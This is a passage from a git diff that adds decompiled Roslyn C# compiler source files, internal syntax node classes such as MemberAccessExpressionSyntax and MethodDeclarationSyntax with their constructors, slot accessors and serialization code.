openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal MakeRefExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal MakeRefExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => expression, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.MakeRefExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMakeRefExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMakeRefExpression(this); + } + + public MakeRefExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + MakeRefExpressionSyntax makeRefExpressionSyntax = SyntaxFactory.MakeRefExpression(keyword, openParenToken, expression, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + makeRefExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(makeRefExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + makeRefExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(makeRefExpressionSyntax, (IEnumerable)annotations); + } + return makeRefExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new MakeRefExpressionSyntax(base.Kind, keyword, openParenToken, expression, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new MakeRefExpressionSyntax(base.Kind, keyword, openParenToken, expression, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal MakeRefExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static MakeRefExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(MakeRefExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new MakeRefExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberAccessExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberAccessExpressionSyntax.cs new file mode 100644 index 0000000..4da0182 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberAccessExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class MemberAccessExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken operatorToken; + + internal readonly SimpleNameSyntax name; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken OperatorToken => operatorToken; + + public SimpleNameSyntax Name => name; + + internal MemberAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal MemberAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal MemberAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => operatorToken, + 2 => name, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMemberAccessExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMemberAccessExpression(this); + } + + public MemberAccessExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name) + { + if (expression != Expression || operatorToken != OperatorToken || name != Name) + { + MemberAccessExpressionSyntax memberAccessExpressionSyntax = SyntaxFactory.MemberAccessExpression(base.Kind, expression, operatorToken, name); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + memberAccessExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(memberAccessExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + memberAccessExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(memberAccessExpressionSyntax, (IEnumerable)annotations); + } + return memberAccessExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new MemberAccessExpressionSyntax(base.Kind, expression, operatorToken, name, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new MemberAccessExpressionSyntax(base.Kind, expression, operatorToken, name, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal MemberAccessExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + SimpleNameSyntax simpleNameSyntax = (SimpleNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)simpleNameSyntax); + name = simpleNameSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)name); + } + + static MemberAccessExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(MemberAccessExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new MemberAccessExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberBindingExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberBindingExpressionSyntax.cs new file mode 100644 index 0000000..e149467 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberBindingExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class MemberBindingExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken operatorToken; + + internal readonly SimpleNameSyntax name; + + public SyntaxToken OperatorToken => operatorToken; + + public SimpleNameSyntax Name => name; + + internal MemberBindingExpressionSyntax(SyntaxKind kind, SyntaxToken operatorToken, SimpleNameSyntax name, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal MemberBindingExpressionSyntax(SyntaxKind kind, SyntaxToken operatorToken, SimpleNameSyntax name, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal MemberBindingExpressionSyntax(SyntaxKind kind, SyntaxToken operatorToken, SimpleNameSyntax name) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operatorToken, + 1 => name, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.MemberBindingExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMemberBindingExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMemberBindingExpression(this); + } + + public MemberBindingExpressionSyntax Update(SyntaxToken operatorToken, SimpleNameSyntax name) + { + if (operatorToken != OperatorToken || name != Name) + { + MemberBindingExpressionSyntax memberBindingExpressionSyntax = SyntaxFactory.MemberBindingExpression(operatorToken, name); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + memberBindingExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(memberBindingExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + memberBindingExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(memberBindingExpressionSyntax, (IEnumerable)annotations); + } + return memberBindingExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new MemberBindingExpressionSyntax(base.Kind, operatorToken, name, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new MemberBindingExpressionSyntax(base.Kind, operatorToken, name, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal MemberBindingExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + SimpleNameSyntax simpleNameSyntax = (SimpleNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)simpleNameSyntax); + name = simpleNameSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)name); + } + + static MemberBindingExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(MemberBindingExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new MemberBindingExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberCrefSyntax.cs new file mode 100644 index 0000000..bf85ce8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberCrefSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class MemberCrefSyntax : CrefSyntax +{ + internal MemberCrefSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal MemberCrefSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected MemberCrefSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberDeclarationSyntax.cs new file mode 100644 index 0000000..71a745d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MemberDeclarationSyntax.cs @@ -0,0 +1,26 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class MemberDeclarationSyntax : CSharpSyntaxNode +{ + public abstract SyntaxList AttributeLists { get; } + + public abstract SyntaxList Modifiers { get; } + + internal MemberDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal MemberDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected MemberDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MethodDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MethodDeclarationSyntax.cs new file mode 100644 index 0000000..cf32fec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MethodDeclarationSyntax.cs @@ -0,0 +1,373 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class MethodDeclarationSyntax : BaseMethodDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax returnType; + + internal readonly ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax parameterList; + + internal readonly GreenNode? constraintClauses; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public TypeSyntax ReturnType => returnType; + + public ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => explicitInterfaceSpecifier; + + public SyntaxToken Identifier => identifier; + + public TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public override ParameterListSyntax ParameterList => parameterList; + + public SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public override BlockSyntax? Body => body; + + public override ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal MethodDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal MethodDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal MethodDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => returnType, + 3 => explicitInterfaceSpecifier, + 4 => identifier, + 5 => typeParameterList, + 6 => parameterList, + 7 => constraintClauses, + 8 => body, + 9 => expressionBody, + 10 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMethodDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMethodDeclaration(this); + } + + public MethodDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || constraintClauses != ConstraintClauses || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + MethodDeclarationSyntax methodDeclarationSyntax = SyntaxFactory.MethodDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + methodDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(methodDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + methodDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(methodDeclarationSyntax, (IEnumerable)annotations); + } + return methodDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new MethodDeclarationSyntax(base.Kind, attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new MethodDeclarationSyntax(base.Kind, attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal MethodDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 11; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + returnType = typeSyntax; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = (ExplicitInterfaceSpecifierSyntax)reader.ReadValue(); + if (explicitInterfaceSpecifierSyntax != null) + { + 